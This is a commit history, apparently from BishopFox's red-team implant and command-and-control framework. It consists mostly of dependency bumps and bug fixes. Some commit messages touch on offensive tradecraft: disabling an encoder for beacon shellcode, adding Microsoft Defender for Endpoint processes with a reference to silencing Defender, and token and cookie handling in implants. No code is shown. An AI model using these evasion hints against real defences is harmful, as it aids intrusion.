Compare commits

..
Author SHA1 Message Date
rkervella 93a0c15906 Update go-clr, merge master 2023-02-28 16:48:14 -08:00
Joe 83c153d189 Merge pull request #1115 from BishopFox/a23fdependabot/go_modules/github.com/things-go/go-socks5-0.0.3
Bump github.com/things-go/go-socks5 from 0.0.3-0.20210722055343-24af464efe43 to 0.0.3
2023-02-27 16:40:37 -06:00
dependabot[bot] 524d58454c Bump github.com/things-go/go-socks5
Bumps [github.com/things-go/go-socks5](https://github.com/things-go/go-socks5) from 0.0.3-0.20210722055343-24af464efe43 to 0.0.3.
- [Release notes](https://github.com/things-go/go-socks5/releases)
- [Commits](https://github.com/things-go/go-socks5/commits/v0.0.3)

---
updated-dependencies:
- dependency-name: github.com/things-go/go-socks5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 19:35:04 +00:00
Joe 0530018ea4 Merge pull request #1117 from BishopFox/83bddependabot/go_modules/google.golang.org/grpc-1.53.0
Bump google.golang.org/grpc from 1.42.0-dev.0.20211020220737-f00baa6c3c84 to 1.53.0
2023-02-27 13:33:25 -06:00
dependabot[bot] 617a39227c Bump google.golang.org/grpc
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.42.0-dev.0.20211020220737-f00baa6c3c84 to 1.53.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/commits/v1.53.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 15:32:21 +00:00
Joe 81f701ca21 Merge pull request #1119 from BishopFox/feafdependabot/go_modules/modernc.org/sqlite-1.21.0
Bump modernc.org/sqlite from 1.20.4 to 1.21.0
2023-02-27 09:22:15 -06:00
Joe 163b1cbcad Merge pull request #1116 from BishopFox/cc09dependabot/go_modules/github.com/miekg/dns-1.1.51
Bump github.com/miekg/dns from 1.1.50 to 1.1.51
2023-02-27 09:18:42 -06:00
dependabot[bot] 38206c0cb7 Bump modernc.org/sqlite from 1.20.4 to 1.21.0
---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 04:21:31 +00:00
dependabot[bot] 5d3247d658 Bump github.com/miekg/dns from 1.1.50 to 1.1.51
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.50 to 1.1.51.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.50...v1.1.51)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-27 04:15:12 +00:00
Joe ba699679c9 Update README.md
Signed-off-by: Joe <[email protected]>
2023-02-25 11:37:09 -06:00
Joe d1ef51ed49 Merge pull request #1112 from BishopFox/fix/linux-hostuuid
Return zero guid on hostuuid from mac error
2023-02-23 14:30:10 -06:00
moloch-- 03ba0ea9e7 Return zero guid on hostuuid from mac error 2023-02-23 11:37:29 -08:00
Ronan Kervella 42a4e93aae Merge pull request #1111 from BishopFox/go/v1.20.1
Go v1.20.1
2023-02-20 11:36:38 -08:00
Joe 81ec6398b8 Merge pull request #1109 from BishopFox/c350dependabot/go_modules/gorm.io/driver/mysql-1.4.7
Bump gorm.io/driver/mysql from 1.4.6 to 1.4.7
2023-02-20 11:55:29 -06:00
moloch-- 5da01d9278 Garble v1.20.2 2023-02-20 09:35:28 -08:00
dependabot[bot] bc9bba5d39 Bump gorm.io/driver/mysql from 1.4.6 to 1.4.7
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.6 to 1.4.7.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.6...v1.4.7)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 17:07:25 +00:00
moloch-- 89f029f55b Go v1.20.1 2023-02-20 09:05:05 -08:00
Joe 64a31ee3b0 Merge pull request #1108 from BishopFox/a012dependabot/go_modules/gorm.io/driver/postgres-1.4.8
Bump gorm.io/driver/postgres from 1.4.6 to 1.4.8
2023-02-20 11:01:41 -06:00
Joe 9c44890db7 Merge pull request #1110 from BishopFox/44b0dependabot/go_modules/modernc.org/sqlite-1.20.4
Bump modernc.org/sqlite from 1.19.3 to 1.20.4
2023-02-20 10:17:54 -06:00
dependabot[bot] 50103d7ae9 Bump gorm.io/driver/postgres from 1.4.6 to 1.4.8
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.6 to 1.4.8.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.6...v1.4.8)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 16:17:12 +00:00
Joe 448c9a8c35 Merge pull request #1106 from BishopFox/b450dependabot/go_modules/golang.org/x/net-0.7.0
Bump golang.org/x/net from 0.6.0 to 0.7.0
2023-02-20 10:15:31 -06:00
dependabot[bot] 52e296fed4 Bump golang.org/x/net from 0.6.0 to 0.7.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.6.0 to 0.7.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.6.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 15:24:17 +00:00
Joe 975d37f169 Merge pull request #1107 from BishopFox/c00bdependabot/go_modules/golang.org/x/crypto-0.6.0
Bump golang.org/x/crypto from 0.5.0 to 0.6.0
2023-02-20 09:22:51 -06:00
dependabot[bot] 94a4be6254 Bump modernc.org/sqlite from 1.19.3 to 1.20.4
---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 06:10:53 +00:00
dependabot[bot] 988282cd40 Bump golang.org/x/crypto from 0.5.0 to 0.6.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.5.0 to 0.6.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.5.0...v0.6.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-20 04:06:59 +00:00
Joe dc687055a4 Merge pull request #1103 from BishopFox/fix/1102
Fix missing flag in context for PsCmd
2023-02-16 16:24:21 -06:00
rkervella 1ddeeb8554 Fix missing flag in context for PsCmd 2023-02-16 13:34:15 -08:00
Joe 8369b03112 Merge pull request #1101 from BishopFox/6751dependabot/go_modules/gorm.io/driver/mysql-1.4.6
Bump gorm.io/driver/mysql from 1.4.5 to 1.4.6
2023-02-13 11:16:23 -06:00
Joe e44bb1a4f1 Merge pull request #1097 from BishopFox/436edependabot/go_modules/golang.org/x/net-0.6.0
Bump golang.org/x/net from 0.5.0 to 0.6.0
2023-02-13 11:15:48 -06:00
dependabot[bot] bca8c13f20 Bump gorm.io/driver/mysql from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-13 06:16:01 +00:00
dependabot[bot] a8a5368060 Bump golang.org/x/net from 0.5.0 to 0.6.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.5.0 to 0.6.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.5.0...v0.6.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-13 04:08:02 +00:00
moloch-- cfaa892ae5 Attempt to implement docs/notion 2023-02-12 12:38:11 -08:00
Joe cf4a8da802 Merge pull request #1094 from BishopFox/fix/go-assets-linux-arm64
Update go-assets.sh
2023-02-07 18:39:46 -06:00
Ronan Kervella b0b4751267 Update go-assets.sh
Update go-assets.sh to actually download the right version of garble for Linux arm64.

Signed-off-by: Ronan Kervella <[email protected]>
2023-02-07 16:06:10 -08:00
moloch-- d2a6fa8cd6 Go v1.20 2023-02-07 08:26:21 -08:00
Joe ad7310dc68 Merge pull request #1093 from BishopFox/481ddependabot/go_modules/gorm.io/gorm-1.24.5
Bump gorm.io/gorm from 1.24.3 to 1.24.5
2023-02-07 10:24:08 -06:00
dependabot[bot] e914850a13 Bump gorm.io/gorm from 1.24.3 to 1.24.5
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.3 to 1.24.5.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.24.3...v1.24.5)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-06 03:12:35 +00:00
Ronan Kervella 56e368ccb0 Merge pull request #1092 from BishopFox/fix/protoc-ver
Fix protoc version
2023-02-03 08:28:50 -08:00
moloch-- 4e43f2d0d3 Fix protoc version 2023-02-01 14:39:42 -08:00
Joe cb3fc2923f Merge pull request #1091 from BishopFox/go/v1.20
Go/v1.20
2023-02-01 16:19:02 -06:00
moloch-- 204519b18f Update garble and pb versions 2023-02-01 13:44:26 -08:00
moloch-- e6a974495a Go v1.20 2023-02-01 13:29:40 -08:00
Joe 4c172b7d8f Merge pull request #1090 from mwgielen/output-printing
Add printing of two types of output
2023-02-01 11:12:12 -06:00
Joe 6f76dfa674 Merge pull request #1089 from mamil/fix-leak
fix goroutine leak
2023-02-01 11:11:12 -06:00
Matthijs Gielen e47516c988 Add printing of two messages
Added printing of MsgCallExtensionReq and MsgInvokeExecuteAssemblyReq

Signed-off-by: Matthijs Gielen <[email protected]>
2023-02-01 13:49:49 +01:00
raymonder jin 1a2388aadc fix goroutine leak 2023-02-01 17:58:04 +08:00
Joe d8668e7d4e Merge pull request #1085 from BishopFox/3aaadependabot/go_modules/github.com/gofrs/uuid-4.4.0incompatible
Bump github.com/gofrs/uuid from 4.3.1+incompatible to 4.4.0+incompatible
2023-01-31 19:57:21 -06:00
dependabot[bot] f21669bb45 Bump github.com/gofrs/uuid from 4.3.1+incompatible to 4.4.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.3.1+incompatible to 4.4.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.3.1...v4.4.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-31 16:18:05 +00:00
Ronan Kervella 8175819f52 Merge pull request #1084 from BishopFox/2a14dependabot/go_modules/github.com/fatih/color-1.14.1
Bump github.com/fatih/color from 1.14.0 to 1.14.1
2023-01-31 08:14:31 -08:00
Ronan Kervella d0cfd655ca Merge pull request #1087 from BishopFox/4725dependabot/bundler/docs/activesupport-6.0.6.1
Bump activesupport from 6.0.4.6 to 6.0.6.1 in /docs
2023-01-31 08:12:53 -08:00
dependabot[bot] cc7d5f8a82 Bump activesupport from 6.0.4.6 to 6.0.6.1 in /docs
Bumps [activesupport](https://github.com/rails/rails) from 6.0.4.6 to 6.0.6.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.4.2/activesupport/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v6.0.4.6...v6.0.6.1)

---
updated-dependencies:
- dependency-name: activesupport
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-31 03:54:02 +00:00
dependabot[bot] 6efd53950b Bump github.com/fatih/color from 1.14.0 to 1.14.1
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.14.0 to 1.14.1.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.14.0...v1.14.1)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-30 03:12:42 +00:00
Joe 041ae65c61 Merge pull request #1078 from realalexandergeorgiev/realalexandergeorgiev-patch-1
Added Defender for Endpoint processes
2023-01-25 11:30:13 -06:00
Joe 286c9dc3f2 Merge pull request #1080 from BishopFox/f334dependabot/bundler/docs/commonmarker-0.23.7
Bump commonmarker from 0.23.6 to 0.23.7 in /docs
2023-01-25 11:29:57 -06:00
dependabot[bot] 6b3d95a0b4 Bump commonmarker from 0.23.6 to 0.23.7 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.6 to 0.23.7.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.6...v0.23.7)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-25 04:30:26 +00:00
Alexander Georgiev 9f73e636b4 Added Defender for Endpoint processes
Added Defender for Endpoint processes based on https://medium.com/csis-techblog/silencing-microsoft-defender-for-endpoint-using-firewall-rules-3839a8bf8d18

Signed-off-by: Alexander Georgiev <[email protected]>
2023-01-24 14:16:44 +01:00
Joe 4a8cc9386f Merge pull request #1077 from BishopFox/dd5ddependabot/go_modules/github.com/fatih/color-1.14.0
Bump github.com/fatih/color from 1.13.0 to 1.14.0
2023-01-23 08:57:10 -06:00
dependabot[bot] 25f7ac019f Bump github.com/fatih/color from 1.13.0 to 1.14.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.13.0 to 1.14.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.13.0...v1.14.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-23 03:44:40 +00:00
Joe 19c2533d90 Merge pull request #1076 from BishopFox/go/v1.19.5
Go v1.19.5
2023-01-20 12:19:00 -08:00
moloch-- fa94d98d68 Update go mod/vendor 2023-01-20 11:25:17 -08:00
moloch-- 1469482631 Ensure HOME is set, remove large literal ENV 2023-01-20 11:24:14 -08:00
moloch-- 7eb77b07fa Go v1.19.5 2023-01-20 08:56:01 -08:00
Ronan Kervella 5184aa8761 Merge pull request #1073 from BishopFox/update/chromedp-v0.8.7
Update/chromedp v0.8.7
2023-01-16 12:21:25 -08:00
moloch-- 92df0e4a20 Style fixes 2023-01-16 11:33:57 -08:00
moloch-- e905032169 Update vendor/ 2023-01-16 10:28:24 -08:00
moloch-- 973b5bb8aa Fix GetCookies API call 2023-01-16 10:28:12 -08:00
Joe f4b4610e28 Merge pull request #1071 from BishopFox/c304dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.4
Bump github.com/jedib0t/go-pretty/v6 from 6.4.3 to 6.4.4
2023-01-16 09:51:02 -08:00
Joe 9c0a97fc3a Merge pull request #1070 from BishopFox/4041dependabot/go_modules/gorm.io/driver/mysql-1.4.5
Bump gorm.io/driver/mysql from 1.4.4 to 1.4.5
2023-01-16 09:49:24 -08:00
dependabot[bot] 571a601b00 Bump github.com/jedib0t/go-pretty/v6 from 6.4.3 to 6.4.4
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.3 to 6.4.4.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.3...v6.4.4)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-16 03:12:21 +00:00
dependabot[bot] 422d4914b8 Bump gorm.io/driver/mysql from 1.4.4 to 1.4.5
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.4 to 1.4.5.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.4...v1.4.5)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-16 03:12:00 +00:00
Ronan Kervella a5532e15fe Merge pull request #1068 from BishopFox/fix/pb-sgn
Fix/pb sgn
2023-01-11 14:10:15 -08:00
moloch-- 72c1de84a8 Move DisableSGN out of protobuf since its client-side only 2023-01-11 13:28:22 -08:00
moloch-- d935a038b0 Move DisableSGN out of protobuf since its client-side only 2023-01-11 13:21:15 -08:00
Joe be6cfc9db4 Merge pull request #1066 from BishopFox/fix/1064
Fix/1064
2023-01-09 15:52:31 -08:00
moloch-- cfa16f7e62 More specific cross-platform constraints 2023-01-09 14:51:48 -08:00
moloch-- 1a8487ef71 Fix build constraints for linux/mips 2023-01-09 14:23:46 -08:00
moloch-- 72fcd30fe9 Fix build constraints for linux/mips 2023-01-09 14:23:39 -08:00
Joe 79ff35429d Merge pull request #1061 from BishopFox/17e7dependabot/go_modules/golang.org/x/crypto-0.5.0
Bump golang.org/x/crypto from 0.4.0 to 0.5.0
2023-01-09 08:03:31 -08:00
Joe de2d78158f Merge pull request #1062 from BishopFox/303ddependabot/go_modules/gorm.io/gorm-1.24.3
Bump gorm.io/gorm from 1.24.2 to 1.24.3
2023-01-09 08:03:12 -08:00
dependabot[bot] 19c6e79951 Bump gorm.io/gorm from 1.24.2 to 1.24.3
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.2 to 1.24.3.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.24.2...v1.24.3)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-09 03:23:50 +00:00
dependabot[bot] 81d8b39db7 Bump golang.org/x/crypto from 0.4.0 to 0.5.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-09 03:23:43 +00:00
Joe ce213edab4 Merge pull request #1057 from BishopFox/fix/1055
Fix issue #1055 and #1054
2023-01-04 10:05:58 -08:00
moloch-- 4a996b5494 Fix issue #1055 and #1054 2023-01-04 09:04:36 -08:00
Joe 0910c28a5f Merge pull request #1053 from BishopFox/a3sroot-fix/gzip
A3sroot fix/gzip
2023-01-03 15:21:05 -08:00
moloch-- ff3e37075b Fix hex unit test 2023-01-03 14:33:31 -08:00
moloch-- 41c95a9570 Minor tweaks 2023-01-03 14:23:03 -08:00
dependabot[bot] 6e87b94035 Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.11 to 3.22.12.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits/v3.22.12)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:09:02 -08:00
dependabot[bot] 06b2e4ecc1 Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:09:01 -08:00
moloch-- db9bc1317a Tweak downloaded flag file, and add it to make clean-all 2023-01-03 14:08:59 -08:00
James Golovich 7e8d228314 Automatically run go-assets.sh from Makefile if it hasn't been run already 2023-01-03 14:08:13 -08:00
necroph0s 29340acfee Add flag to disable sgn when generating beacon shellcode 2023-01-03 14:07:37 -08:00
moloch-- 067eb5856e Signed fix for pr #995 2023-01-03 14:07:37 -08:00
dependabot[bot] fa58a52cae Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:36 -08:00
dependabot[bot] 3ac0ff131a Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:36 -08:00
s3cst4rs cc55f38195 Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2023-01-03 14:07:35 -08:00
Tom Samstag 35eedd75ec install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2023-01-03 14:07:34 -08:00
rkervella 5067333eff Only alert user when --in-process is not used. 2023-01-03 14:07:33 -08:00
dependabot[bot] 0d1c64aede Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:33 -08:00
James Golovich 98f2340e3e Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
2023-01-03 14:07:32 -08:00
dependabot[bot] bf7ac3997d Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:31 -08:00
dependabot[bot] 0c827c6736 Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:30 -08:00
dependabot[bot] b8723d93da Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:28 -08:00
dependabot[bot] 96d242b0df Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 14:07:25 -08:00
rkervella 645e5e0d14 Apply new logic to the downloadHandler 2023-01-03 14:07:24 -08:00
rkervella 2a2b7dbf47 Wrap filepath.Match into a custom package for windows specific code. 2023-01-03 14:07:22 -08:00
rkervella 206ab56bee Refactor to remove ioutil dep 2023-01-03 14:07:16 -08:00
rkervella 362efc8f9d Update implant vendor 2023-01-03 14:07:13 -08:00
Joe cf7f4be3ed Merge pull request #1049 from BishopFox/0654dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.12
Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
2023-01-03 14:02:34 -08:00
dependabot[bot] 0796409887 Bump github.com/shirou/gopsutil/v3 from 3.22.11 to 3.22.12
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.11 to 3.22.12.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits/v3.22.12)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 21:10:12 +00:00
Joe 30647d267a Merge pull request #1048 from BishopFox/3a7cdependabot/go_modules/gorm.io/driver/postgres-1.4.6
Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
2023-01-03 13:07:47 -08:00
Joe 65da9c8504 Merge pull request #1052 from BishopFox/jamesgol-auto-go-assets
Jamesgol auto go assets
2023-01-03 13:06:35 -08:00
Ronan Kervella e296b6fdc7 Merge pull request #1050 from necroph0s/disable-sgn
Add flag to disable sgn when generating beacon shellcode
2023-01-03 12:33:12 -08:00
Ronan Kervella 3e3fdbe6a8 Merge pull request #1051 from BishopFox/fix/995
Signed fix for pr #995
2023-01-03 12:27:53 -08:00
moloch-- 8d97ba3aec Tweak downloaded flag file, and add it to make clean-all 2023-01-03 12:16:46 -08:00
dependabot[bot] a5a60a505c Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:10 -08:00
dependabot[bot] c04f3f0228 Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:09 -08:00
s3cst4rs 885387b3ea Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2023-01-03 11:56:08 -08:00
Tom Samstag d809a28a5d install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2023-01-03 11:56:07 -08:00
rkervella f48dfa0e4b Only alert user when --in-process is not used. 2023-01-03 11:56:06 -08:00
dependabot[bot] 0bf19f5242 Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:05 -08:00
James Golovich 7bea0ee08f Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
